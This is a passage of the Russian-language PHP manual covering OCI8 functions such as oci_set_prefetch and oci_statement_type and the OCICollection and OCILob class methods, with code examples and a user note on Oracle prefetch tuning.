oci_set_prefetch_lob($stid, 100000); // Установка значения перед вызовом oci_execute()
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS+OCI_RETURN_LOBS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • INI-опция oci8.prefetch_lob_size

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество строк, которые будут автоматически выбраны в буфер

  • « oci_set_prefetch_lob
  • oci_statement_type »
  • PHP Manual
  • OCI8 Функции
  • Устанавливает количество строк, которые будут автоматически выбраны в буфер

oci_set_prefetch

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_set_prefetch — Устанавливает количество строк, которые будут автоматически выбраны в буфер

Описание

oci_set_prefetch(resource $statement, int $rows): bool

Устанавливает количество строк, которые будут выбраны в буфер клиентскими библиотеками Oracle сразу после удачного вызова oci_execute() и для каждого последующего внутреннего запроса данных к базе. Производительность может быть значительно увеличена для запросов, возвращающих большое количество строк, с помощью установки значения предварительной выборки больше значения по умолчанию oci8.default_prefetch.

Предварительная выборка - это эффективный механизм Oracle, позволяющий возвращать больше одной строки результата из базы данных за каждый сетевой запрос. Это даёт более рациональное использование сети и процессора. Буферизация строк происходит внутри OCI8, поэтому поведение функций выборки OCI8 никак не зависит от размера предварительной выборки. Например, oci_fetch_row() всегда возвращает одну строку. Буфер предварительной выборки резервируется отдельно на каждый запрос и не используется второй раз в повторно запущенных запросах или в других соединениях.

Перед вызовом oci_execute() вызовите oci_set_prefetch().

Смысл настройки размера предварительной выборки состоит в подборе удобного значения для передачи в сети и обработки в базе данных. Для запросов, возвращающих очень большое количество строк, общая производительность системы может быть лучше, если строки будут возвращаться в несколько приёмов (т.е. установить размер предварительной выборки меньше количества строк). Это позволит базе данных обрабатывать запросы других пользователей в течение обработки PHP-скриптом текущего результата запроса.

Предварительная выборка запросов появилась в Oracle 8i. Предварительная выборка REF CURSOR появилась в Oracle 11gR2 и может быть применена в случае, если PHP слинкован с клиентскими библиотеками Oracle 11gR2 и старше. Предварительная выборка вложенных курсоров была добавлена в Oracle 11gR2 и требует наличия версии 11gR2 и старше как для клиентских библиотек Oracle, так и для используемой базы данных.

Предварительная выборка не поддерживается, если запросы содержат LONG или LOB столбцы. Значение предварительной выборки игнорируется и, во всех ситуациях не поддерживающих предварительную выборку, будет использована построчная выборка.

При использовании Oracle Database 12c, предварительная выборка заданная PHP может быть изменена конфигурационным файлом oraaccess.xml клиента Oracle. Обратитесь к документации Oracle за дополнительной информацией.

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

rows

Количество строк предварительной выборки, >= 0

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Смена значения предварительной выборки по умолчанию для запроса

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM myverybigtable');
oci_set_prefetch($stid, 300); // Устанавливаем перед вызовом oci_execute()
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Смена значения предварительной выборки по умолчанию для выборки REF CURSOR

<?php
/*
Создайте хранимую процедуру PL/SQL следующим образом:

CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
BEGIN
OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Меняем размер предварительной выборки перед запуском курсора.
// Предварительная выборка REF CURSOR работает в случае линковки PHP
// с клиентскими библиотеками Oracle 11gR2 и старше
oci_set_prefetch($refcur, 200);
oci_execute($refcur);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

Если PHP OCI8 производит выборку из REF CURSOR, а затем передаёт REF CURSOR обратно в другую PL/SQL-процедуру для дальнейшей обработки, необходимо установить размер предварительной выборки REF CURSOR в 0, чтобы избежать "потери" рядов из результата. Значение предварительной выборки - это количество "лишних" рядов, полученных каждым внутренним запросом OCI8 к базе данных, поэтому установка его в 0 означает выборку только одного ряда за один раз.

Пример #3 Установка значения предварительной выборки при передаче REF CURSOR обратно в Oracle

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/orcl');

// получение REF CURSOR
$stid = oci_parse($conn, 'BEGIN myproc(:rc_out); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc_out', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Отображаем два ряда, но больше не предвыбираем других рядов, иначе
// эти ряды не будут переданы обратно в myproc_use_rc().
oci_set_prefetch($refcur, 0);
oci_execute($refcur);
$row = oci_fetch_array($refcur);
var_dump($row);
$row = oci_fetch_array($refcur);
var_dump($row);

// передаём REF CURSOR в myproc_use_rc() для дальнейшей обработки результата
$stid = oci_parse($conn, 'begin myproc_use_rc(:rc_in); end;');
oci_bind_by_name($stid, ':rc_in', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

?>

Смотрите также

  • Директива oci8.default_prefetch

User Contributed Notes

bmichael at goldparrot dot com 04-Jan-2003 03:00
If your are using Oracle's OCI libraries, on any project, which PHP does, you can use this limit.

I have done network level testing on the effect of this parameter.  It does improved efficiency.  Big Time.

Oracle uses SQL*Net as the transport mechanism for data between your connection and the database.  That is why you must setup Oracle properly.

This parameter tells SQL*NET to Buffer more results.  When SQL*NET (at the server) gets a request for data, it bundles up X rows (1,2,3,1000, etc) for transport.  It sends the appropriate SQL*NET headers back to the client, Waits for an ACK then begins sending data in MTU sized chunks (ethernet is something like 1500 bytes and ATM's WANS are around 1000 bytes).  The chunk size can also be tuned in SQL*NET, but with much less improvements.

TCP/IP then takes the data across the wire, breaking it up into multiple TCP/IP packets.

Once the exchange is done, the SQL*NET client sends an
ACK back to the SQL*NET Listener (the Oracle Server) and the transaction is complete.

Each round trip, SQL*NET looks up inside the server memory (UGA - user global area) to find the query results. It then grabs the rows necessary to send.  If it is one row, versus 1000 rows.  The process is the same.

There is much I could tell you on how the Database itself reacts.  If you can significantly lessen the amount of round trips you are making... WOW.

For more info on Oracle OCI go to http://otn.oracle.com


Возвращает тип выражения

  • « oci_set_prefetch
  • oci_unregister_taf_callback »
  • PHP Manual
  • OCI8 Функции
  • Возвращает тип выражения

oci_statement_type

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_statement_type — Возвращает тип выражения

Описание

oci_statement_type(resource $statement): string|false

Возвращает выражение, соответствующее одному из типов параметра statement OCI8.

Список параметров

statement

Допустимый идентификатор оператора OCI8, возвращаемый oci_parse().

Возвращаемые значения

Возвращает тип параметра statement, который может быть одним из нижеследующих значений:

Тип оператора
Возвращаемое значение | Примечание
ALTER |
BEGIN |
CALL |
CREATE |
DECLARE |
DELETE |
DROP |
INSERT |
SELECT |
UPDATE |
UNKNOWN |

Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_statement_type()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'DELETE FROM departments WHERE department_id = 130;');
if (oci_statement_type($stid) == "DELETE") {
trigger_error('Вы не имеете прав для удаления записей из таблицы', E_USER_ERROR);
}
else {
oci_execute($stid); // удалить запись
}

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.


Удалить регистрацию пользовательской callback-функции для Oracle Database TAF

  • « oci_statement_type
  • OCICollection »
  • PHP Manual
  • OCI8 Функции
  • Удалить регистрацию пользовательской callback-функции для Oracle Database TAF

oci_unregister_taf_callback

(PHP 7.0 >= 7.0.23, PHP 8, PHP 7 >= 7.1.9, PHP 8, PECL OCI8 >= 2.1.7)

oci_unregister_taf_callback — Удалить регистрацию пользовательской callback-функции для Oracle Database TAF

Описание

oci_unregister_taf_callback(resource $connection): bool

Удаляет регистрацию пользовательской callback-функции, зарегистрированную для соединения connection с помощью oci_register_taf_callback(). Более подробно читайте OCI8 Transparent Application Failover (TAF) Support .

Список параметров

connection

Идентификатор соединения Oracle.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • oci_register_taf_callback() - Регистрирует пользовательскую функцию обратного вызова для Oracle Database TAF

User Contributed Notes

There are no user contributed notes for this page.


Класс OCICollection

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

Введение

Функционал коллекций OCI8.

Замечание:

Класс OCI-Collection был переименован в OCICollection в PHP 8 OCI8 3.0.0 в соответствии со стандартами именования PHP.

Обзор классов

class OCICollection {
/* Методы */
public append(string $value): bool
public assign(OCICollection $from): bool
public assignElem(int $index, string $value): bool
public free(): bool
public getElem(int $index): string|float|null|false
public max(): int|false
public size(): int|false
public trim(int $num): bool
}

Содержание

  • OCICollection::append — Добавляет элемент в коллекцию
  • OCICollection::assign — Присваивает коллекции значение другой, уже существующей коллекции
  • OCICollection::assignElem — Присваивает значение элементу коллекции
  • OCICollection::free — Освобождает ресурсы, занимаемые объектом коллекции
  • OCICollection::getElem — Возвращает значение элемента
  • OCICollection::max — Возвращает максимальное количество элементов в коллекции
  • OCICollection::size — Возвращает количество элементов в коллекции
  • OCICollection::trim — Отсекает элементы с конца коллекции

User Contributed Notes

There are no user contributed notes for this page.


Добавляет элемент в коллекцию

  • « OCICollection
  • OCICollection::assign »
  • PHP Manual
  • OCICollection
  • Добавляет элемент в коллекцию

OCICollection::append

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::append — Добавляет элемент в коллекцию

Описание

public OCICollection::append(string $value): bool

Добавляет элемент в конец коллекции.

Список параметров

value

Значение, добавляемое в конец коллекции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • OCICollection::assign

User Contributed Notes

There are no user contributed notes for this page.


Присваивает коллекции значение другой, уже существующей коллекции

  • « OCICollection::append
  • OCICollection::assignElem »
  • PHP Manual
  • OCICollection
  • Присваивает коллекции значение другой, уже существующей коллекции

OCICollection::assign

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::assign — Присваивает коллекции значение другой, уже существующей коллекции

Описание

public OCICollection::assign(OCICollection $from): bool

Присваивает коллекции значение другой, ранее созданной коллекции. Обе коллекции должны быть созданы ранее с помощью oci_new_collection().

Список параметров

from

Экземпляр OCI-Collection.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • OCICollection::append

User Contributed Notes

There are no user contributed notes for this page.


Присваивает значение элементу коллекции

  • « OCICollection::assign
  • OCICollection::free »
  • PHP Manual
  • OCICollection
  • Присваивает значение элементу коллекции

OCICollection::assignElem

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::assignElem — Присваивает значение элементу коллекции

Описание

public OCICollection::assignElem(int $index, string $value): bool

Присваивает значение элементу коллекции с индексом index.

Список параметров

index

Индекс элемента. Первый индекс - ноль.

value

Может быть строкой или числом.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • OCICollection::getElem

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, занимаемые объектом коллекции

  • « OCICollection::assignElem
  • OCICollection::getElem »
  • PHP Manual
  • OCICollection
  • Освобождает ресурсы, занимаемые объектом коллекции

OCICollection::free

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::free — Освобождает ресурсы, занимаемые объектом коллекции

Описание

public OCICollection::free(): bool

Освобождает ресурсы, занимаемые объектом коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • oci_new_collection

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение элемента

  • « OCICollection::free
  • OCICollection::max »
  • PHP Manual
  • OCICollection
  • Возвращает значение элемента

OCICollection::getElem

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::getElem — Возвращает значение элемента

Описание

public OCICollection::getElem(int $index): string|float|null|false

Возвращает значение элемента с индексом index (начиная с нуля).

Список параметров

index

Индекс элемента. Первый индекс - ноль.

Возвращаемые значения

Djpdhfoftn false, если такого элемента нет; null, если элемент равен null; строку, если элемент относится к строковому столбцу, и число, если элемент является числовым полем.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • OCICollection::assignElem

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество элементов в коллекции

  • « OCICollection::getElem
  • OCICollection::size »
  • PHP Manual
  • OCICollection
  • Возвращает максимальное количество элементов в коллекции

OCICollection::max

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::max — Возвращает максимальное количество элементов в коллекции

Описание

public OCICollection::max(): int|false

Возвращает максимальное количество элементов в коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает максимальное количество как целое число или false в случае возникновения ошибки.

Если будет возвращён 0, то количество элементов не ограничено.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • OCICollection::size

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов в коллекции

  • « OCICollection::max
  • OCICollection::trim »
  • PHP Manual
  • OCICollection
  • Возвращает количество элементов в коллекции

OCICollection::size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::size — Возвращает количество элементов в коллекции

Описание

public OCICollection::size(): int|false

Возвращает количество элементов в коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество элементов в коллекции или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • OCICollection::max

User Contributed Notes

There are no user contributed notes for this page.


Отсекает элементы с конца коллекции

  • « OCICollection::size
  • OCILob »
  • PHP Manual
  • OCICollection
  • Отсекает элементы с конца коллекции

OCICollection::trim

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::trim — Отсекает элементы с конца коллекции

Описание

public OCICollection::trim(int $num): bool

Отсекает num элементов с конца коллекции.

Список параметров

num

Количество элементов для отсечения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Collection переименован в OCICollection в соответствии со стандартами именования PHP.

Смотрите также

  • OCICollection::size

User Contributed Notes

There are no user contributed notes for this page.


Класс OCILob

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

Введение

Функциональность OCI8 LOB для больших бинарных (BLOB) и символьных (CLOB) объектов.

Замечание:

Класс OCI-Lob был переименован в OCILob в PHP 8 OCI8 3.0.0 в соответствии со стандартами именования PHP.

Обзор классов

class OCILob {
/* Методы */
public append(OCILob $from): bool
public close(): bool
public eof(): bool
public erase(?int $offset = null, ?int $length = null): int|false
public export(string $filename, ?int $offset = null, ?int $length = null): bool
public flush(int $flag = 0): bool
public free(): bool
public getBuffering(): bool
public import(string $filename): bool
public load(): string|false
public read(int $length): string|false
public rewind(): bool
public save(string $data, int $offset = 0): bool
public seek(int $offset, int $whence = OCI_SEEK_SET): bool
public setBuffering(bool $mode): bool
public size(): int|false
public tell(): int|false
public truncate(int $length = 0): bool
public write(string $data, ?int $length = null): int|false
public writeTemporary(string $data, int $type = OCI_TEMP_CLOB): bool
}

Содержание

  • OCILob::append — Добавляет данные из объекта LOB в конец другого объекта
  • OCILob::close — Закрывает дескриптор объекта LOB
  • OCILob::eof — Проверяет, находится ли указатель LOB на конце объекта
  • OCILob::erase — Очищает указанную часть объекта LOB
  • OCILob::export — Сохраняет содержимое объекта LOB в файл
  • OCILob::flush — Очищает и записывает буфер объекта LOB на сервер
  • OCILob::free — Освобождает ресурсы, связанные с дескриптором LOB
  • OCILob::getBuffering — Возвращает текущее состояние буферизации большого объекта (LOB)
  • OCILob::import — Записывает содержимое файла в объект LOB
  • OCILob::load — Возвращает содержимое объекта LOB
  • OCILob::read — Возвращает часть объекта LOB
  • OCILob::rewind — Переводит указатель объекта в начало большого объекта
  • OCILob::save — Сохраняет данные в LOB
  • OCILob::saveFile — Псевдоним OCILob::import
  • OCILob::seek — Устанавливает позицию внутреннего указателя LOB
  • OCILob::setBuffering — Изменяет текущее состояние буферизации большого объекта (LOB)
  • OCILob::size — Возвращает размер объекта LOB
  • OCILob::tell — Возвращает текущую позицию внутреннего указателя объекта LOB
  • OCILob::truncate — Обрезает большой объект
  • OCILob::write — Записывает данные в объект LOB
  • OCILob::writeTemporary — Записывает временный большой объект (LOB)
  • OCILob::writeToFile — Псевдоним OCILob::export

User Contributed Notes

There are no user contributed notes for this page.


Добавляет данные из объекта LOB в конец другого объекта

  • « OCILob
  • OCILob::close »
  • PHP Manual
  • OCILob
  • Добавляет данные из объекта LOB в конец другого объекта

OCILob::append

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::append — Добавляет данные из объекта LOB в конец другого объекта

Описание

public OCILob::append(OCILob $from): bool

Добавляет в конец объекта LOB данные из другого объекта LOB.

Запись в LOB с помощью этого метода вызовет ошибку, если у объекта ранее был включён режим буферизации. Поэтому вы должны выключить буферизацию перед её применением. Перед выключением буферизации вам может понадобиться метод OCILob::flush для очистки буфера.

Список параметров

from

Копируемый LOB.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::flush
  • OCILob::setBuffering
  • OCILob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


Закрывает дескриптор объекта LOB

  • « OCILob::append
  • OCILob::eof »
  • PHP Manual
  • OCILob
  • Закрывает дескриптор объекта LOB

OCILob::close

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::close — Закрывает дескриптор объекта LOB

Описание

public OCILob::close(): bool

Закрывает дескриптор объекта LOB или FILE. Функцию следует использовать только вместе с OCILob::writeTemporary.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, находится ли указатель LOB на конце объекта

  • « OCILob::close
  • OCILob::erase »
  • PHP Manual
  • OCILob
  • Проверяет, находится ли указатель LOB на конце объекта

OCILob::eof

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::eof — Проверяет, находится ли указатель LOB на конце объекта

Описание

public OCILob::eof(): bool

Сообщает о достижении внутренним указателем конца объекта LOB.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если внутренний указатель объекта находится на конце LOB. Иначе возвращает false.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Примечания

Замечание:

Функция возвращает Oracle ошибку в случае, если OCILob::setBuffering включена для LOB.

Смотрите также

  • OCILob::size

User Contributed Notes

There are no user contributed notes for this page.


Очищает указанную часть объекта LOB

  • « OCILob::eof
  • OCILob::export »
  • PHP Manual
  • OCILob
  • Очищает указанную часть объекта LOB

OCILob::erase

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::erase — Очищает указанную часть объекта LOB

Описание

public OCILob::erase(?int $offset = null, ?int $length = null): int|false

Очищает конкретную часть объекта LOB, начиная с позиции, определённой в параметре offset. По умолчанию LOB очищается полностью.

Для объектов типа BLOB очищение означает заполнение нулевыми байтами. Объекты типа CLOB заполняются пробелами.

Список параметров

offset

length

Возвращаемые значения

Возвращает число очищенных символов/байт или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | offset и length теперь допускают значение null.
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::truncate

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет содержимое объекта LOB в файл

  • « OCILob::erase
  • OCILob::flush »
  • PHP Manual
  • OCILob
  • Сохраняет содержимое объекта LOB в файл

OCILob::export

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::export — Сохраняет содержимое объекта LOB в файл

Описание

public OCILob::export(string $filename, ?int $offset = null, ?int $length = null): bool

Сохраняет содержимое объекта LOB в файл.

Список параметров

filename

Путь к файлу.

offset

Начальная позиция экспорта.

length

Длина экспортируемой части LOB.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | offset и length теперь допускают значение null.
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::import

User Contributed Notes

There are no user contributed notes for this page.


Очищает и записывает буфер объекта LOB на сервер

  • « OCILob::export
  • OCILob::free »
  • PHP Manual
  • OCILob
  • Очищает и записывает буфер объекта LOB на сервер

OCILob::flush

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::flush — Очищает и записывает буфер объекта LOB на сервер

Описание

public OCILob::flush(int $flag = 0): bool

OCILob::flush() непосредственно записывает данные на сервер.

Список параметров

flag

По умолчанию ресурсы не освобождаются, но используя флаг OCI_LOB_BUFFER_FREE вы можете сделать это принудительно. Однако, вы должны быть точно уверены в том, что вы делаете, так как следующее чтение из объекта будет более ресурсоемко, чем предыдущие из-за необходимости обращения к серверу. Поэтому использовать флаг OCI_LOB_BUFFER_FREE рекомендуется только после того, как работа с объектом уже закончена.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Возвращает false в случае возникновения ошибки или если буферизация объекта не была включена.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::getBuffering
  • OCILob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, связанные с дескриптором LOB

  • « OCILob::flush
  • OCILob::getBuffering »
  • PHP Manual
  • OCILob
  • Освобождает ресурсы, связанные с дескриптором LOB

OCILob::free

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::free — Освобождает ресурсы, связанные с дескриптором LOB

Описание

public OCILob::free(): bool

Освобождает ресурсы, связанные с дескриптором LOB, изначально выделенные функцией oci_new_descriptor().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее состояние буферизации большого объекта (LOB)

  • « OCILob::free
  • OCILob::import »
  • PHP Manual
  • OCILob
  • Возвращает текущее состояние буферизации большого объекта (LOB)

OCILob::getBuffering

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::getBuffering — Возвращает текущее состояние буферизации большого объекта (LOB)

Описание

public OCILob::getBuffering(): bool

Сообщает, включена ли буферизация для большого объекта (LOB).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает false, если буферизация отключена, и true, если включена.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


Записывает содержимое файла в объект LOB

  • « OCILob::getBuffering
  • OCILob::load »
  • PHP Manual
  • OCILob
  • Записывает содержимое файла в объект LOB

OCILob::import

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::import — Записывает содержимое файла в объект LOB

Описание

public OCILob::import(string $filename): bool

Записывает содержимое файла filename в текущую позицию объекта LOB.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::export
  • OCILob::write

User Contributed Notes

There are no user contributed notes for this page.


Возвращает содержимое объекта LOB

  • « OCILob::import
  • OCILob::read »
  • PHP Manual
  • OCILob
  • Возвращает содержимое объекта LOB

OCILob::load

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::load — Возвращает содержимое объекта LOB

Описание

public OCILob::load(): string|false

Возвращает содержимое объекта LOB. Так как выполнение скрипта прекратится при превышении memory_limit, необходимо убедиться, что LOB не превышает этого ограничения. Поэтому, в большинстве случаев этот метод рекомендуется заменять на OCILob::read.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое объекта или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::read

User Contributed Notes

There are no user contributed notes for this page.


Возвращает часть объекта LOB

  • « OCILob::load
  • OCILob::rewind »
  • PHP Manual
  • OCILob
  • Возвращает часть объекта LOB

OCILob::read

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::read — Возвращает часть объекта LOB

Описание

public OCILob::read(int $length): string|false

Читает length байтов (BLOB) или символов (CLOB) с текущей позиции объекта LOB.

Чтение останавливается, когда прочитано length байтов для BLOB, length символов для CLOB или когда достигнут конец объекта. Внутренний указатель объекта будет сдвинут на количество прочитанных байт/символов.

Список параметров

length

Длина считываемых данных, в байтах (BLOB) или символах (CLOB). Большие значения округляются вниз до 1 MB.

Возвращаемые значения

Возвращает содержимое в виде строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::load
  • OCILob::write

User Contributed Notes

There are no user contributed notes for this page.


Переводит указатель объекта в начало большого объекта

  • « OCILob::read
  • OCILob::save »
  • PHP Manual
  • OCILob
  • Переводит указатель объекта в начало большого объекта

OCILob::rewind

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::rewind — Переводит указатель объекта в начало большого объекта

Описание

public OCILob::rewind(): bool

Устанавливает внутренний указатель в начало объекта LOB.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::seek
  • OCILob::tell

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет данные в LOB

  • « OCILob::rewind
  • OCILob::saveFile »
  • PHP Manual
  • OCILob
  • Сохраняет данные в LOB

OCILob::save

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::save — Сохраняет данные в LOB

Описание

public OCILob::save(string $data, int $offset = 0): bool

Сохраняет данные из параметра data в объект LOB.

Список параметров

data

Данные для сохранения.

offset

Может использоваться для указания смещения от начала LOB.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::write
  • OCILob::import

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::import

  • « OCILob::save
